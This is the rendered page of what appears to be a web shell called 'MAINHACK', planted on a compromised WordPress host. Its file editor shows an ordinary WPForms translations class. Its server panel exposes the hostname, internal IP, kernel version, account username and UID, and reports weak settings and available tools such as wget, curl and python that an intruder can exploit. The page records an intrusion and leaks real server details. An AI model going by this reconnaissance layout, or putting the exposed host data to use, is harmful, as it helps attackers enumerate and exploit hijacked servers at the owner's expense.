[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Translations.php
<?php namespace WPForms\Integrations\WPorg; use Language_Pack_Upgrader; use Automatic_Upgrader_Skin; use WPForms\Integrations\IntegrationInterface; /** * Load translations from WordPress.org for the Lite version. * * @since 1.6.9 */ class Translations implements IntegrationInterface { /** * Full wp.org API URL for the plugin. * * @since 1.6.9 */ const API_URL = 'https://api.wordpress.org/plugins/update-check/1.1/'; /** * Indicate if current integration is allowed to load. * * @since 1.6.9 * * @return bool */ public function allow_load() { if ( ! is_admin() ) { return false; } // For WordPress versions 4.9.0-4.9.4 this file must be included before the current_user_can() check. require_once ABSPATH . 'wp-admin/includes/template.php'; if ( ! current_user_can( 'install_languages' ) ) { return false; } require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/translation-install.php'; return wp_can_install_language_pack(); } /** * Load an integration. * * @since 1.6.9 */ public function load() { // Download translations for all addons when language for the site has been changed. add_action( 'update_option_WPLANG', [ $this, 'download_translations' ] ); } /** * Get translation packages from the wp.org API. * * @since 1.6.9 * * @return array */ private function get_translation_packages() { $plugin_data = get_plugin_data( WPFORMS_PLUGIN_FILE ); $plugin_data['Name'] = 'WPForms Lite'; $plugin_data['Version'] = '9999.0'; $request = wp_remote_post( self::API_URL, [ 'body' => [ 'plugins' => wp_json_encode( [ 'plugins' => [ 'wpforms-lite/wpforms.php' => $plugin_data, ], 'active' => [], ] ), 'locale' => wp_json_encode( get_available_languages() ), ], ] ); $code = wp_remote_retrieve_response_code( $request ); $body = wp_remote_retrieve_body( $request ); if ( $code !== 200 || $body === 'error' || is_wp_error( $body ) ) { return []; } $body = json_decode( $body, true ); return ! empty( $body['translations'] ) ? $body['translations'] : []; } /** * Download translations for all available languages. * * @since 1.6.9 */ public function download_translations() { $translations = $this->get_translation_packages(); if ( empty( $translations ) ) { return; } $skin = new Automatic_Upgrader_Skin(); $upgrader = new Language_Pack_Upgrader( $skin ); foreach ( $translations as $language ) { // Sometimes a language can be passed as array. $this->download_package( (object) $language, $upgrader, $skin ); } } /** * Download translation for the language. * * @since 1.6.9 * * @param object $language Language package. * @param Language_Pack_Upgrader $upgrader The instance of the core class used for updating/installing language packs (translations). * @param Automatic_Upgrader_Skin $skin Upgrader Skin for Automatic WordPress Upgrades. */ private function download_package( $language, Language_Pack_Upgrader $upgrader, Automatic_Upgrader_Skin $skin ) { if ( ! property_exists( $language, 'package' ) || empty( $language->package ) ) { return; } $skin->language_update = $language; $upgrader->run( [ 'package' => $language->package, 'destination' => WP_LANG_DIR . '/plugins', 'abort_if_destination_exists' => false, 'is_multi' => true, 'hook_extra' => [ 'language_update_type' => $language->type, 'language_update' => $language, ], ] ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697